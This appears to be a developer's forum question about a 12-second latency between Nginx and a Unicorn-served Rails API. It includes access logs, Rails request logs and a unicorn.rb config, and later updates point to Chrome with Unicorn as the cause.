127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /dist/css/yanpy-ext-1.min.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /css/lightbox.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /dist/js/yanpy-libs-1.min.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /js/app.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /js/services.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /js/controllers.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /dist/js/yanpy.min.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /js/filters.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /js/directives.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /js/i18n.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /js/properties/properties.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /dist/js/yanpy-libs-2.min.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /img/logo.png HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /languages/locale-en.json HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /lib/angular/i18n/angular-locale_en.js HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /languages/locale-en.json HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /partials/login.html HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /img/glyphicons-halflings.png HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /partials/home.html HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /img/facilImage.png HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /img/rapidoImage.png HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /img/seguroImage.png HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /img/carrusel1.jpg HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /img/carrusel2.jpg HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /img/carrusel3.jpg HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /img/carrusel4.jpg HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:46 +0100] "GET /partials/boat-searcher.html HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:47 +0100] "GET /img/glyphicons-halflings-white.png HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
As you can see it takes around 2 seconds. This point I don´t know why I can´t see the request to the Rails API in this file (anyway, you can see them in the snapshot I attach).
After this log, I´m just waiting for 12 seconds for the rails api request:
Started GET "/getTranslationLanguages" for 127.0.0.1 at 2014-11-12 19:33:59 +0100
Processing by LanguagesController#translationLanguages as HTML
Language Load (0.4ms) SELECT `languages`.* FROM `languages` WHERE `languages`.`translation` = 1
Completed 200 OK in 2ms (Views: 1.0ms | ActiveRecord: 0.4ms)
Started GET "/currencies" for 127.0.0.1 at 2014-11-12 19:33:59 +0100
Processing by CurrenciesController#index as HTML
Currency Load (0.3ms) SELECT `currencies`.* FROM `currencies`
Completed 200 OK in 3ms (Views: 1.8ms | ActiveRecord: 0.3ms)
Started GET "/boat_people" for 127.0.0.1 at 2014-11-12 19:33:59 +0100
Processing by BoatPeopleController#index as HTML
BoatPerson Load (0.3ms) SELECT `boat_people`.* FROM `boat_people`
Completed 200 OK in 2ms (Views: 0.9ms | ActiveRecord: 0.3ms)
Started GET "/getTranslationLanguages" for 127.0.0.1 at 2014-11-12 19:33:59 +0100
Processing by LanguagesController#translationLanguages as HTML
Language Load (0.4ms) SELECT `languages`.* FROM `languages` WHERE `languages`.`translation` = 1
Completed 200 OK in 2ms (Views: 1.0ms | ActiveRecord: 0.4ms)
Started GET "/currencies" for 127.0.0.1 at 2014-11-12 19:33:59 +0100
Processing by CurrenciesController#index as HTML
Currency Load (0.3ms) SELECT `currencies`.* FROM `currencies`
Completed 200 OK in 2ms (Views: 1.1ms | ActiveRecord: 0.3ms)
See, there is a delay of 12 seconds from the last log entry in Nginx to first log entry in Unicorn.
I don´t know what happens while this time.
I also attach a snapshot from Google tools. It displays more or less same info that the Nginx access.log. But this time, you can see the requests to Rails API (i.e. getTranslationLanguages) that has a latency of 12.40 secs.
Why is it waiting for that 12 seconds? Could be any cache? What else can I check?
UPDATE: I don´t know why it seems to be related to cache or cookies. When I delete browsing history with cache and cookies in my browser and I load the site the issue doesn´t happen anymore. After that, if I just refresh the page, the issue happens.
IMPORTANT UPDATE Now, I´m pretty sure the issue is located in Unicorn. If I just shutdown Unicorn and startup webrick (without any other update on my application or code) the issue doens´t happen anymore.
I attach my Unicorn.rb config file:
# config/unicorn.rb
if ENV["RAILS_ENV"] == "development"
worker_processes 1
stderr_path "/Users/Rober/Projects/yanpy/dev/yanpyapi/log/unicorn.stderr.log"
stdout_path "/Users/Rober/Projects/yanpy/dev/yanpyapi/log/unicorn.stdout.log"
elsif ENV["RAILS_ENV"] == "test"
worker_processes 1
stderr_path "/home/ubuntu/env/test/www/yanpyapi-test/log/unicorn.stderr.log"
stdout_path "/home/ubuntu/env/test/www/yanpyapi-test/log/unicorn.stdout.log"
listen 8081
else
#worker_processes 3
worker_processes 1
stderr_path "/home/ubuntu/env/production/www/yanpyapi/log/unicorn.stderr.log"
stdout_path "/home/ubuntu/env/production/www/yanpyapi/log/unicorn.stdout.log"
end
timeout 30
Note: You don´t have to worry about the environment, the issue is happening in both of them.
UPDATE: When I send request in my browser directly to a Rails endpoint in Unicorn i.e http://localhost:8080/getTranslationLanguages I got the result immediately in my browser in json format. I mean, the issue doesn´t happen. So, it looks like the issue is only when the request are sent from Nginx to Unicorn.
IMPORTANT UPDATE I have confirmed the issue is only happening with Google Chrome. It never happens with Safari. Even, I have noticed, when I run audit tool in Google tools, it somehow clean everything, so everytime I run the audit it works perfectly.
UPDATE: I have installed and tested with Puma. It´s working. I don´t know why the combination of Unicorn and Chrome is not working.

Resources